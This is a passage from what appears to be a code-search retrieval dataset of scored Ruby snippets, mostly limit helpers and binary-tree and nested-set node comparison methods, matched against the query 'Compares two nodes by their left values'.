limit(value)\n criteria_set[:top] = value.to_i\n self\n end", "title": "" }, { "docid": "0440154adbd826a4e3999ff34d387883", "score": "0.5693937", "text": "def limit(value)\n criteria_set[:top] = value.to_i\n self\n end", "title": "" }, { "docid": "44be5d45e62ad3035757b20a366109f1", "score": "0.5690305", "text": "def stat_limit\n return $atoa_script['Atoa Status Limit']\n end", "title": "" }, { "docid": "22ead9d6d21a77bfa631b46b89accd4a", "score": "0.56857896", "text": "def least_popular_show\n #returns the tv show with the lowest rating (FAILED - 4)\nend", "title": "" }, { "docid": "2dbd8355554fc792d0a23c3babd854ea", "score": "0.5685405", "text": "def big_shoe_rebounds\n \n big_shoe = max_stat(:shoe)\n \n rebounds = stat_search(big_shoe[:max_player], :rebounds)\n \n return rebounds\n \nend", "title": "" }, { "docid": "3c6da485ced841f1ff620254aef2769f", "score": "0.56847167", "text": "def suggestedLevel\n minLevel=1\n maxLevel=PBExperience::MAXLEVEL\n num=self.suggestedNumber\n for rule in @pokemonRules\n if rule.is_a?(MinimumLevelRestriction)\n minLevel=rule.level\n elsif rule.is_a?(MaximumLevelRestriction)\n maxLevel=rule.level\n end\n end\n totalLevel=maxLevel*num\n for rule in @subsetRules\n if rule.is_a?(TotalLevelRestriction)\n totalLevel=rule.level\n end\n end\n if totalLevel>=maxLevel*num\n return [maxLevel,minLevel].max\n else\n return [(totalLevel/self.suggestedNumber),minLevel].max\n end\n end", "title": "" }, { "docid": "c1742c55cab5518f3927ed1dcd955933", "score": "0.5679912", "text": "def limit(max)\n msq = self.squared\n vec = self\n if(msq > (max ** 2))\n vec = vec.div(Math.sqrt(msq))\n vec = vec.mult(max)\n end\n return vec\n end", "title": "" }, { "docid": "f491c222fa6bfdc462c3d8b16ccd82d4", "score": "0.5677197", "text": "def have_at_most(n); end", "title": "" }, { "docid": "421f3a67ded9658ab8cacf06aba0319b", "score": "0.5674679", "text": "def high_temp(field,limit,tol)\n len=field.size\n for i in 0..(len-1)\n if ((field[i].to_f-limit.to_f)>=tol.to_f)\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "9adc0654c04565aabbd99628ea689f17", "score": "0.5670421", "text": "def calories_cutoff_score\n @cutoff_score = 0\n if calories < 400\n return @cutoff_score + 20\n elsif calories > 800\n return @cutoff_score\n else\n return @cutoff_score + 10\n end\n end", "title": "" }, { "docid": "68148d180bd24046b6aca1456b2ab18f", "score": "0.5667341", "text": "def past_quality_limits?(item, type)\n if type == \"Aged Brie\" || type == \"Backstage Pass\"\n item.quality > 49\n else\n item.quality < 1\n end\nend", "title": "" }, { "docid": "1a6bab09a09d74d6b3170df9930de7e0", "score": "0.5666174", "text": "def non_training_limit\n limit - training_limit\n end", "title": "" }, { "docid": "ff4bb4b3a2f7a8d833345520fb7e09f5", "score": "0.5657227", "text": "def training_limit\n @training_limit ||= (limit.to_f / self.class.num_training_subjects_denominator).round\n end", "title": "" }, { "docid": "4598f7999ae6db5e9f8cc15478a1d9e1", "score": "0.56506765", "text": "def _limit\n Rails.cache.fetch('update_starts_limit', expires_in: 1.day) do\n _video_tags.count / 100\n end\n end", "title": "" }, { "docid": "0fc6264232db143ac1f9fbb0731f42b7", "score": "0.5650085", "text": "def item_max\n Game_Cooking::SHORTCUT_SLOTS\n end", "title": "" }, { "docid": "abefa4b0d9c2eb65d216c97056c8b44b", "score": "0.56489134", "text": "def under_max\n @total_bet <= @maximum_bet\n end", "title": "" }, { "docid": "f08f1eff4c38026c945cd48e1920185d", "score": "0.56465787", "text": "def get_upper_limit_of(range)\nend", "title": "" }, { "docid": "f08f1eff4c38026c945cd48e1920185d", "score": "0.56465787", "text": "def get_upper_limit_of(range)\nend", "title": "" }, { "docid": "eb00b4ddf7ba9d8421c0f2aa21e65abe", "score": "0.56359446", "text": "def visible_max\n return [4, item_max].min\n end", "title": "" }, { "docid": "c06b162a16edef0d8b71ff4954f1912d", "score": "0.56326646", "text": "def limit(value)\n merge(wllimit: value.to_s)\n end", "title": "" }, { "docid": "20e413547d465d0ade68ee1dc6410718", "score": "0.5627561", "text": "def max_buy\r\n max = $game_party.max_item_number(@item) - $game_party.item_number(@item)\r\n buying_price == 0 ? max : [max, money / buying_price].min\r\n end", "title": "" }, { "docid": "3ea1e747a907d1991f847a9beacf0658", "score": "0.56155145", "text": "def available_limit\n Float(@rest_wo_limit)\n end", "title": "" } ]
0c0a9edb0e61ac0778208a71d0eff14c
Compares two nodes by their left values.
[ { "docid": "c2fd9a123a186f3f695e06bc5567841b", "score": "0.5939727", "text": "def <=>(x)\n x.left <=> left\n end", "title": "" } ]
[ { "docid": "9418fc8dbc20e82c90adb6744e848130", "score": "0.7482646", "text": "def compare_and_compute_node(node, x)\n return x.left if node.value < x.value\n x.right\n end", "title": "" }, { "docid": "00e0566ab457d2b7c96aee4418a10e7b", "score": "0.7027429", "text": "def sames(node)\n left = node.left ? node.val == node.left.val : true\n right = node.right ? node.val == node.right.val : true\n\n left && right\nend", "title": "" }, { "docid": "4e65ad5a0c6cb98c13c263d9bedb11a2", "score": "0.69552976", "text": "def is_left p0 , p1 , p2\n ( (p1[0].to_f - p0[0].to_f) * (p2[1].to_f - p0[1].to_f) - (p2[0].to_f - p0[0].to_f) * (p1[1].to_f - p0[1].to_f) )\n end", "title": "" }, { "docid": "d455ac2aced8fbf81532dd7cc63a09a8", "score": "0.65736294", "text": "def > other_node\n return true if other_node.nil?\n\n self.val > other_node.val && self > other_node.left && self > other_node.right\n end", "title": "" }, { "docid": "e10ce8baf25058e293134a3754ed4940", "score": "0.6544958", "text": "def < other_node\n return true if other_node.nil?\n\n self.val < other_node.val && self < other_node.left && self < other_node.right\n end", "title": "" }, { "docid": "f3a8488e534656081885067d7a77461e", "score": "0.65381724", "text": "def left_node node\n node[:x] -= 1\n return node\nend", "title": "" }, { "docid": "18cd18ad6a719aea7f26dc61b17eaa02", "score": "0.64771116", "text": "def add_to_left(new_node, old_node)\n\n if old_node.left.nil?\n old_node.left = new_node\n new_node.parent = old_node\n elsif\n new_node.value <= old_node.left.value\n add_to_left(new_node, old_node.left)\n else\n add_to_right(new_node, old_node.left)\n end\nend", "title": "" }, { "docid": "0e15d0a84ee3df479576b310a85443fd", "score": "0.6457608", "text": "def is_left p0, p1\n return (p1.x - p0.x) * (@y - p0.y) - (@x - p0.x) * (p1.y - p0.y)\n end", "title": "" }, { "docid": "48c04dfc11b85da739a521e532ac3524", "score": "0.63930345", "text": "def cmp_tuples(left, right)\n reduce(0) do |cmp, direction|\n return cmp if cmp.nonzero?\n direction.call(left, right)\n end\n end", "title": "" }, { "docid": "c812bc47777ddd6075fe1257580fb71b", "score": "0.6329185", "text": "def compare_nodes(a, b) # :doc:\n c = clean_hash(xml_node_to_hash(a))\n d = clean_hash(xml_node_to_hash(b))\n c == d\n end", "title": "" }, { "docid": "e339b53ad8a8d397fbb1aceea0464fb0", "score": "0.6324003", "text": "def operators(node)\n return if node == nil\n operators(node.left)\n if node.left != nil || node.right != nil\n unless node.value.to_i.to_s == node.value\n print node.value + \" \"\n end\n end\n operators(node.right)\nend", "title": "" }, { "docid": "1701a68357e2224df2412ad2dcf07c96", "score": "0.63099766", "text": "def compare_trees(t1, t2)\n count_nodes(t1) == count_nodes(t2)\nend", "title": "" }, { "docid": "4a1101193dcc8fa17c7b95a8d96b1c79", "score": "0.6306761", "text": "def leftval; @val end", "title": "" }, { "docid": "aa3adcbf0b49a99cfbe5355339314b33", "score": "0.62793374", "text": "def check_left\n\t\tunless @left_child.nil?\n\t\t\treturn @left_child.value\n\t\tend\n\tend", "title": "" }, { "docid": "dba0102dafbca9b2e732b49aee4999b7", "score": "0.62654245", "text": "def left_right\n return -1 if self.left\n return 1 if self.right\n return 0\n end", "title": "" }, { "docid": "dba0102dafbca9b2e732b49aee4999b7", "score": "0.62654245", "text": "def left_right\n return -1 if self.left\n return 1 if self.right\n return 0\n end", "title": "" }, { "docid": "f61424eb8dd5a8b1772104d9fe4d903d", "score": "0.6259612", "text": "def compare_levels(left, right)\n left = left.is_a?(Integer) ? left : level_to_number(left)\n right = right.is_a?(Integer) ? right : level_to_number(right)\n\n return :eq if left == right\n\n left < right ? :lt : :gt\n end", "title": "" }, { "docid": "41fb21d1fcd7f8e716745616cd01ec14", "score": "0.6239195", "text": "def optimize\n left.eq(right.first)\n end", "title": "" }, { "docid": "d6d0e29a75c5951c4b6129f20289d77b", "score": "0.6219505", "text": "def left_and_right(op1, op2)\n self.left_child = op1\n self.right_child = op2 \n end", "title": "" }, { "docid": "015009d6b3ae82b45805a18fcc8652e0", "score": "0.6176208", "text": "def from_left\n value\n end", "title": "" }, { "docid": "5c7e0d423d5a81f20b611660c6bb7fcb", "score": "0.61142576", "text": "def value\n (left.evaluate..right.evaluate)\n end", "title": "" }, { "docid": "b5d6eff7fbe6802405d9dedfa4295737", "score": "0.6112602", "text": "def compare(left, right)\n return -1 if right.nil?\n case [left.class, right.class]\n when [Integer, Integer]\n right <=> left\n when [Array, Array]\n big = (right.size > left.size ? 1 : 0)\n left.zip(right).lazy.map { |l, r| compare(l, r) }.find(&:nonzero?) || big\n else\n compare(coerce_list(left), coerce_list(right))\n end\nend", "title": "" }, { "docid": "68ca1f69f2bbfba35c8158f9f42d3279", "score": "0.6083677", "text": "def add_left(node)\n puts \"this shouldn't be null\" if node.nil?\n self.left = node\n left.add_to_sum(value)\n end", "title": "" }, { "docid": "f59acd02e89a17e0ae3e58f5ac0b60ca", "score": "0.60556227", "text": "def <=>(x)\n left <=> x.left\n end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "99a56b5a96211debc1bc4e04e5f0f521", "score": "0.60540825", "text": "def left; end", "title": "" }, { "docid": "003b6de1a858fc2767b977d76d3ccb15", "score": "0.60437465", "text": "def left_and_rights_valid?\n all.detect { |node|\n node.send(left_field_name).nil? ||\n node.send(right_field_name).nil? ||\n node.send(left_field_name) >= node.send(right_field_name) ||\n !node.parent.nil? && (\n node.send(left_field_name) <= node.parent.send(left_field_name) ||\n node.send(right_field_name) >= node.parent.send(right_field_name)\n )\n }.nil?\n end", "title": "" }, { "docid": "c59da487cd0f92988234625cdc699401", "score": "0.6035325", "text": "def merge_nodes(left, right)\n retval = right.clone\n\n array_keys = %w[\n providers\n provisioners\n synced_folders\n forwarded_ports\n private_networks\n public_networks\n guest\n ]\n\n array_keys.each do |key|\n if (left[key] and right[key])\n retval[key] += left[key]\n elsif left[key]\n retval[key] = left[key].clone\n end\n end\n\n single_keys = %w[provider box name communicator]\n\n single_keys.each do |key|\n retval[key] = left[key] if left[key]\n end\n\n retval\n end", "title": "" }, { "docid": "92e144dc953b2a6be165bbb0f82d96ff", "score": "0.60295063", "text": "def ===(other)\n if other.is_a?(Left)\n value === other.value\n else\n super\n end\n end", "title": "" }, { "docid": "82fc0fd4d969d214127e89119330a4d2", "score": "0.6017176", "text": "def nodes\n left_nodes + [self] + right_nodes\n end", "title": "" }, { "docid": "d20b0221762c5dca4f66391f07a0bf77", "score": "0.60153544", "text": "def evaluate_operator(left, right)\n left - right\n end", "title": "" }, { "docid": "f2034121c41a6994ee2d5e032d7e020f", "score": "0.60093915", "text": "def evaluate_operator(left, right)\n left != right\n end", "title": "" }, { "docid": "ae56a03c39b16acf771a1b9114ffb1cd", "score": "0.6002077", "text": "def safe_left\n if context.root? then\n Left.new(ZipperError.new(:left_at_root, self))\n elsif context.left_nodes.empty? then\n Left.new(ZipperError.new(:left_at_leftmost, self))\n else\n Right.new(new_zipper(context.left_nodes.last,\n Context.new(context.path,\n context.parent_nodes,\n context.left_nodes[0..-2],\n [value] + context.right_nodes,\n context.changed?)))\n end\n end", "title": "" }, { "docid": "11ad6bb8edbf3ae68c528df1115a1483", "score": "0.6000811", "text": "def left_x\n self.x - self.ox;\n end", "title": "" }, { "docid": "78e39cfb25ab63efd49f725466c1c72a", "score": "0.59999806", "text": "def left\n return @left\n end", "title": "" }, { "docid": "18f3d2431bf5274a16984e99955e6b1b", "score": "0.59900725", "text": "def leftvalue?\n # Maybe its the left of a left value.\n if parent.respond_to?(:leftvalue?) && parent.leftvalue? then\n # Yes so it is also a left value if it is a sub ref.\n if parent.respond_to?(:ref) then\n # It might nor be a sub ref.\n # return parent.ref.eql?(self)\n return parent.ref.equal?(self)\n else\n # It is necessarily a sub ref (case of RefConcat for now).\n return true\n end\n end\n # No, therefore maybe it is directly a left value.\n return (parent.is_a?(Transmit) || parent.is_a?(Connection)) &&\n # parent.left.eql?(self)\n parent.left.equal?(self)\n end", "title": "" }, { "docid": "bbff0af96ab797387cea94bd447f983f", "score": "0.59891456", "text": "def <=>(other)\n lft <=> other.lft\n end", "title": "" }, { "docid": "0134575044ee3275e947e6e26dd6eec8", "score": "0.59861803", "text": "def left\n @left\n end", "title": "" }, { "docid": "f00df5e04314f7155f649ccf174178eb", "score": "0.597838", "text": "def evaluate_operator(left, right)\n left == right\n end", "title": "" }, { "docid": "761e33853a03dc021ebca9774a677a77", "score": "0.59675115", "text": "def left_nil?(value)\n the_node = find(value)\n if the_node.parent.right.value == the_node.value\n the_node.parent.right = the_node.right\n else\n the_node.parent.left = the_node.right\n end\n end", "title": "" }, { "docid": "963f0e1a267b2c5c1c45e2fdbb28e85b", "score": "0.59646195", "text": "def left_sibling\n self_and_siblings.where(\"#{q_right} < ?\", left).last\n end", "title": "" }, { "docid": "bd1d29c813e62562d0887cd6830dc9a1", "score": "0.5954478", "text": "def merge_nodes!(left, right)\n array_keys = %w[\n providers\n provisioners\n synced_folders\n forwarded_ports\n private_networks\n public_networks\n ]\n\n array_keys.each do |key|\n next unless right.has_key?(key)\n\n left[key] ||= []\n left[key].unshift(*right[key])\n end\n\n single_keys = %w[provider box name communicator guest]\n\n single_keys.each do |key|\n next unless right.has_key?(key)\n\n left[key] ||= right[key]\n end\n\n left\n end", "title": "" }, { "docid": "bcd0379df93de748491e52f486e5c900", "score": "0.59450185", "text": "def left; head.left; end", "title": "" }, { "docid": "624fadf106605f81ea20c22b23c994ff", "score": "0.59447753", "text": "def compare(bt1, bt2)\n assert_equal bt1.root_node.length, bt2.root_node.length\n assert_equal bt1.root_node[0].b, bt2.root_node[0].b\n assert_equal bt1.root_node[0].i32, bt2.root_node[0].i32\n assert_equal bt1.root_node[0].next_node.length, bt2.root_node[0].next_node.length\n assert_equal bt1.root_node[0].next_node[0].next_node[0].i32, bt2.root_node[0].next_node[0].next_node[0].i32\n end", "title": "" }, { "docid": "46d37f070ad92bcc339093a0acb597c3", "score": "0.5931273", "text": "def merge_trees(node1, node2)\n return node1 if node2 == nil\n return node2 if node1 == nil\n \n node1.val += node2.val\n node1.left = merge_trees(node1.left, node2.left)\n node1.right = merge_trees(node1.right, node2.right)\n \n return node1\nend", "title": "" }, { "docid": "7885c5e0d65c47def78f0c6083c3086c", "score": "0.59217083", "text": "def left_sibling\n siblings.where(\"#{q_left} < ?\", left).last\n end", "title": "" }, { "docid": "e0f0443a31178ccd4dd06f4e9720d3d6", "score": "0.5915675", "text": "def <=>(x)\n left <=> x.left\n end", "title": "" }, { "docid": "3d4f01898d7ea5cf800720c10a306014", "score": "0.59152544", "text": "def left_value\n if [:lasgn, :iasgn].include? node_type\n self[1]\n end\n end", "title": "" }, { "docid": "4bcca220fa4718615dd70823d1b901ce", "score": "0.5914998", "text": "def <=> (other); return self.root <=> other.root; end", "title": "" }, { "docid": "97eafa048312b050c721b8318393732b", "score": "0.59108216", "text": "def t1\n n0 = TreeNode.new(1)\n n1 = TreeNode.new(2)\n n2 = TreeNode.new(3)\n n3 = TreeNode.new(4)\n n4 = TreeNode.new(5)\n n5 = TreeNode.new(6)\n n6 = TreeNode.new(7)\n n7 = TreeNode.new(8)\n n0.left = n1\n n0.right = n2\n n1.left = n3\n n1.right = n4\n n2.left = n5\n n4.left = n6\n n4.right = n7\n\n m0 = TreeNode.new(1)\n m1 = TreeNode.new(3)\n m2 = TreeNode.new(2)\n m3 = TreeNode.new(6)\n m4 = TreeNode.new(4)\n m5 = TreeNode.new(5)\n m6 = TreeNode.new(8)\n m7 = TreeNode.new(7)\n m0.left = m1\n m0.right = m2\n m1.right = m3\n m2.left = m4\n m2.right = m5\n m5.left = m6\n m5.right = m7\n\n p flip_equiv(n0,m0) == true\nend", "title": "" }, { "docid": "7dc2e2877f76ebcaa706eedc04e28a6c", "score": "0.5899001", "text": "def t2\n n0 = TreeNode.new(1)\n n1 = TreeNode.new(2)\n n2 = TreeNode.new(3)\n n3 = TreeNode.new(4)\n n4 = TreeNode.new(5)\n n5 = TreeNode.new(6)\n n6 = TreeNode.new(7)\n n7 = TreeNode.new(8)\n n0.left = n1\n n0.right = n2\n n1.left = n3\n n1.right = n4\n n2.left = n5\n n4.left = n6\n n4.right = n7\n\n m0 = TreeNode.new(1)\n m1 = TreeNode.new(3)\n m2 = TreeNode.new(2)\n m3 = TreeNode.new(6)\n m4 = TreeNode.new(4)\n m5 = TreeNode.new(5)\n m6 = TreeNode.new(8)\n m7 = TreeNode.new(9)\n m0.left = m1\n m0.right = m2\n m1.right = m3\n m2.left = m4\n m2.right = m5\n m5.left = m6\n m5.right = m7\n\n p flip_equiv(n0,m0) == false\nend", "title": "" }, { "docid": "e8d33380a6d7a8f2881cee071593252e", "score": "0.58777314", "text": "def left\n end", "title": "" }, { "docid": "8f3f48e8193a78176ade6bbee370fa6d", "score": "0.58680004", "text": "def t4\n n0 = TreeNode.new(1)\n n1 = TreeNode.new(2)\n n2 = TreeNode.new(3)\n n3 = TreeNode.new(4)\n n4 = TreeNode.new(5)\n n5 = TreeNode.new(6)\n n6 = TreeNode.new(7)\n n7 = TreeNode.new(8)\n n0.left = n1\n n0.right = n2\n n1.left = n3\n n1.right = n4\n n2.left = n5\n n4.left = n6\n n4.right = n7\n\n m0 = TreeNode.new(1)\n m1 = TreeNode.new(3)\n m2 = TreeNode.new(2)\n m3 = TreeNode.new(6)\n m4 = TreeNode.new(4)\n m5 = TreeNode.new(5)\n m0.left = m1\n m0.right = m2\n m1.right = m3\n m2.left = m4\n m2.right = m5\n\n p flip_equiv(n0,m0) == false\nend", "title": "" }, { "docid": "6df99753b099f37f08f3e65b2b8ae7ce", "score": "0.5866786", "text": "def nodes_passed(a, b)\n boundary_nodes = [ internal_node_number(a), internal_node_number(b) ].sort\n (boundary_nodes.first .. boundary_nodes.last).to_a\n end", "title": "" }, { "docid": "fccc551f0f46c3332b7aeff921490236", "score": "0.5865252", "text": "def set_left(left_node)\n set_prev(left_node)\n end", "title": "" }, { "docid": "9196fc960f5842e092fe9f3ce5b1da1f", "score": "0.58637226", "text": "def calc_lft_and_rgt\nfar_left = furthrest_left\n far_right = furthrest_right\n gap = far_right - far_left\n if @children.size>0 \n self.left_col_val = far_left + gap/4 \n self.right_col_val = far_right - gap/4 \n else \n self.left_col_val = self.right_col_val = far_left+(gap/self.class.bias) \n end\nend", "title": "" }, { "docid": "2d2f30c2ffb9d92820f462c5d0d1fb46", "score": "0.5842213", "text": "def calculate_node!(op, *args)\n raise \"Invalid node was given. [#{op}] #{args}\" unless op?(op)\n if bi_op?(op)\n left, right = args\n\treturn BINARY_OPERATIONS[op].call(left, right)\n end\nend", "title": "" }, { "docid": "dfc34a486e55980d08573966e64b8ce7", "score": "0.58401465", "text": "def left=(value)\n @left = value.to_i\n end", "title": "" }, { "docid": "1dca5c49de552c96262ae8992e78ea0b", "score": "0.5836219", "text": "def left\n\t\t\t@left\n\t\tend", "title": "" }, { "docid": "98cf13f29c83f1eb42e06e1a48d7f9fa", "score": "0.5826927", "text": "def lowest_common_accessor(root, node1, node2)\n if root.nil?\n return nil\n end\n # case 1, one of the node is the root\n if root.is_a?(Tree::TreeNode) && (root.val == node1.val || root.val == node2.val)\n return root\n end\n\n left = lowest_common_accessor(root.left, node1, node2)\n right = lowest_common_accessor(root.right, node1, node2)\n\n if !left.nil? && !right.nil?\n return root\n end\n\n if(!left.nil?)\n return left\n end\n\n if(!right.nil?)\n return right\n end\n\n return nil\n end", "title": "" }, { "docid": "e8f1922d5d0bb2b16945ce67bbe1c65a", "score": "0.58115333", "text": "def equivalent?(node_1, node_2, opts = {}, &block)\n opts = DEFAULT_OPTS.merge(opts)\n compare_nodes(as_node(node_1), as_node(node_2), opts, &block)\nend", "title": "" }, { "docid": "ebb966a4fbbdd217619bb5c28915544c", "score": "0.5801301", "text": "def get_left\n nodes(side: :left)\n end", "title": "" }, { "docid": "b9826f5bacdd6ed414f9577eedf05719", "score": "0.57988214", "text": "def compare(other_segment)\n return 1 if @left_point.y > other_segment.left_point.y\n return -1 if @left_point.y < other_segment.left_point.y\n return 0\n end", "title": "" }, { "docid": "4d165877392012605f083262fbb1e54c", "score": "0.57870066", "text": "def left_of?(p1, p2)\n cross = cross(p1, p2)\n DelaunayDebug.loglog { \"Is #{self} to the left of #{p1} -> #{p2}? cross: #{cross} -> #{cross > 0}\" }\n cross > 0\n end", "title": "" }, { "docid": "2ea1be0ac7f6b80d1c1aa993b734b7e7", "score": "0.57789546", "text": "def diff_instances(left, right)\n mash = Hash[left.map { |l| [l, 0x1] }]\n right.each { |r| mash[r] |= 0x2 }\n left_only = mash.select { |_, v| v == 0x1 }.map { |l, _| l }\n right_only = mash.select { |_, v| v == 0x2 }.map { |r, _| r }\n return left_only.sort, right_only.sort\n end", "title": "" }, { "docid": "7b2eb0c3e243fe0fc153f435d9fc89ba", "score": "0.57635957", "text": "def weaker_or_equal\n subtree\n end", "title": "" }, { "docid": "567e5d883090333c76f17c2544c1cc15", "score": "0.5763024", "text": "def left_and_rights_valid?\n # Load all nodes and index them by ID so we can leave the database\n # alone.\n nodes = connection.select_all(\"SELECT id, lft_numer, lft_denom, parent_id FROM #{quoted_table_name}\")\n nodes_by_id = {}\n nodes.each do |node|\n node['id'] = node['id'].to_i\n node['encoded_path'] = Hyrarchy::EncodedPath(node['lft_numer'].to_i, node['lft_denom'].to_i)\n node['parent_id'] = node['parent_id'] ? node['parent_id'].to_i : nil\n nodes_by_id[node['id']] = node\n end\n # Check to see if the structure defined by the nodes' encoded paths\n # matches the structure defined by their parent_id attributes.\n nodes.all? do |node|\n if node['parent_id'].nil?\n node['encoded_path'].parent == nil rescue false\n else\n parent = nodes_by_id[node['parent_id']]\n parent && node['encoded_path'].parent == parent['encoded_path']\n end\n end\n end", "title": "" }, { "docid": "e3678fa3f46f76713eb7979b3596f99e", "score": "0.5750403", "text": "def helper(p1, p2) \n if p2.nil?\n return true\n elsif p1.nil?\n return false\n elsif p1.val != p2.val\n return false\n else\n return helper(p1.left, p2.left) && helper(p1.right, p2.right)\n end \nend", "title": "" }, { "docid": "48c007df018949b8cd4647f27037393d", "score": "0.57404226", "text": "def is_same_tree(r1, r2)\n return r1.nil? && r2.nil? if r1.nil? || r2.nil?\n (r1.val == r2.val) && \\\n is_same_tree(r1.left, r2.left) && \\\n is_same_tree(r1.right, r2.right)\nend", "title": "" }, { "docid": "c7e195a43291c10c3d931facb7c8697a", "score": "0.57236004", "text": "def le_relation\n # Compare them as in greater than but invert the result.\n cmp_relation(EAX, EBX, :invert => true)\n end", "title": "" }, { "docid": "36edd2bcbbb8f7ca68ccd0389fe67d3b", "score": "0.5715996", "text": "def merge_trees(t1, t2)\n return t1 if t2.nil?\n return t2 if t1.nil? \n \n t1.val += t2.val\n t1.left = merge_trees(t1.left, t2.left)\n t1.right = merge_trees(t1.right, t2.right)\n \n return t1\nend", "title": "" }, { "docid": "376aa7132ab5d35570b4f832fc345787", "score": "0.57120854", "text": "def <=>(b)\n #open wins tie\n if @left == b.left\n if @left_open\n return 1\n elsif b.left_open\n return 1\n end\n end\n\n @left <=> b.left\n end", "title": "" }, { "docid": "a3c0aa4e32765d4c4ebd851c9b03ff18", "score": "0.5707992", "text": "def left\n opposite_direction(right)\n end", "title": "" }, { "docid": "d04af4b67b559a2655ed3bc20c9eb7cd", "score": "0.5692635", "text": "def left\n 0\n end", "title": "" }, { "docid": "22d9055c66c3e7999d9ea3766cad2548", "score": "0.56915116", "text": "def compareChildren(n1_set, n2_set, opts, differences, diffchildren = false, status = EQUIVALENT)\n i = 0; j = 0\n return if opts[:ignore_children]\n while i < n1_set.length || j < n2_set.length\n if !n1_set[i].nil? && nodeExcluded?(n1_set[i], opts)\n i += 1 # increment counter if left node is excluded\n elsif !n2_set[j].nil? && nodeExcluded?(n2_set[j], opts)\n j += 1 # increment counter if right node is excluded\n else\n result = diffchildren ? compareNodes(n1_set[i], n2_set[j], opts, differences, opts, diffchildren) : compareNodes(n1_set[i], n2_set[j], opts, differences)\n status = result unless result == EQUIVALENT\n\n # return false so that this subtree could halt comparison on error\n # but neighbours of parents' subtrees could still be compared (in verbose mode)\n return false if [UNEQUAL_NODES_TYPES, UNEQUAL_ELEMENTS].include? status\n\n # stop execution if a single error is found (unless in verbose mode)\n break unless status == EQUIVALENT || opts[:verbose]\n\n # increment both counters when both nodes have been compared\n i += 1; j += 1\n end\n status\n end\n end", "title": "" }, { "docid": "6708e77150347a091b02f96d5029bdf7", "score": "0.568511", "text": "def sort\n sorted_nodes = extract_nodes(self).sort_by(&:data)\n sorted_tree = sorted_nodes[0]\n sorted_nodes.each_cons(2) do |node1, node2|\n node1.data == node2.data ? node1.left = node2 : node1.right = node2\n end\n sorted_tree\n end", "title": "" }, { "docid": "e4d62940fe0c4583a274ca703a7789f3", "score": "0.5684645", "text": "def assign left\n @result = left\n self\n end", "title": "" }, { "docid": "227529ae59911399fade91c298d2a09c", "score": "0.56840783", "text": "def <=>(other)\n case other\n when Node\n return @representation.node_to_level_hash[self] <=> @representation.node_to_level_hash[other]\n else\n raise TypeError, \"#{other.class} must be Node\"\n end\n end", "title": "" }, { "docid": "02d257b6303de7a21879ad35cff1b01a", "score": "0.567557", "text": "def same_attribute?\n left.left.equal?(right.left)\n end", "title": "" }, { "docid": "3d759db18a49ba3309f6d715715549e3", "score": "0.5674819", "text": "def <=>(oNode)\n self.val <=> oNode.val\n end", "title": "" }, { "docid": "3d759db18a49ba3309f6d715715549e3", "score": "0.5674819", "text": "def <=>(oNode)\n self.val <=> oNode.val\n end", "title": "" }, { "docid": "3d759db18a49ba3309f6d715715549e3", "score": "0.5674819", "text": "def <=>(oNode)\n self.val <=> oNode.val\n end", "title": "" }, { "docid": "fa977f5081d99fa353cd1a7acf8e1ca6", "score": "0.5671052", "text": "def merge_trees(root1, root2)\n return root2 if root1.nil?\n return root1 if root2.nil?\n\n root1.val += root2.val\n\n left_merge = merge_trees(root1.left)\n right_merge = merge_trees(root2.right)\n\n root1\nend", "title": "" }, { "docid": "1896994d8e13d25b209e0a9b805a50e4", "score": "0.5668876", "text": "def cmp(left, right)\n #puts \"cmp #{left}, #{right}\"\n\n return 0 if left.empty? && right.empty?\n return -1 if left.empty?\n return 1 if right.empty?\n\n l = left.first\n r = right.first\n\n cmp_first = case [check_type(l), check_type(r)]\n when %i[int arr]\n cmp([l], r)\n\n when %i[arr int]\n cmp(l, [r])\n\n when %i[arr arr]\n cmp(l, r)\n\n when %i[int int]\n #puts \"#{l} <=> #{r}\"\n l <=> r\n end\n\n #puts \"cmp_first #{cmp_first}\"\n\n return -1 if cmp_first == -1\n return 1 if cmp_first == 1\n\n cmp(left.clone.drop(1), right.clone.drop(1))\n end", "title": "" }, { "docid": "6e9cb9b35fb7ce5b1368504c6a00b7b9", "score": "0.56670666", "text": "def getLeft()\n return @left\n end", "title": "" }, { "docid": "bb4f6d3fb1232abc887fc72282617484", "score": "0.56554306", "text": "def lca(tree_node, node1, node2)\n smaller = node1.value < node2.value ? node1.value : node2.value\n bigger = node1.value > node2.value ? node1.value : node2.value\n\n if tree_node.value >= smaller && tree_node.value <= bigger\n lca = tree_node\n elsif tree_node.value > smaller && tree_node.value > bigger\n lca = lca(tree_node.left, node1, node2)\n elsif tree_node.value < smaller && tree_node.value < bigger\n lca = lca(tree_node.right, node1, node2)\n end\n\n lca\nend", "title": "" }, { "docid": "626fd5cb51e8953828fd13acd931ceca", "score": "0.565446", "text": "def right_sibling\n siblings.where(left_field_name => {\"$gt\" => left}).asc(left_field_name).first\n end", "title": "" }, { "docid": "8eb98f73f2303c83c3d1d6281d5f9253", "score": "0.56508213", "text": "def left_sibling\n siblings.where(left_field_name => {\"$lt\" => left}).remove_order_by.desc(left_field_name).first\n end", "title": "" }, { "docid": "52893c49ae3e9e533fad5f4621365db0", "score": "0.56392443", "text": "def left_merge(left, right) \n right.each do |event|\n event.get_geo_coordinates unless event.lat and event.lon\n left.each do |top_prio|\n top_prio.merge!(right.delete(event)) if(event.same_as? top_prio)\n end\n end\n left.concat(right)\n end", "title": "" }, { "docid": "f4ed957e9e3d63862519dc52bec3795f", "score": "0.5638308", "text": "def safe_leftmost\n if context.left_nodes == [] then\n Right.new(self)\n else\n all_but_leftmost = context.left_nodes.drop(1)\n Right.new(new_zipper(context.left_nodes.first,\n Context.new(context.path,\n context.parent_nodes,\n [],\n all_but_leftmost + [value] 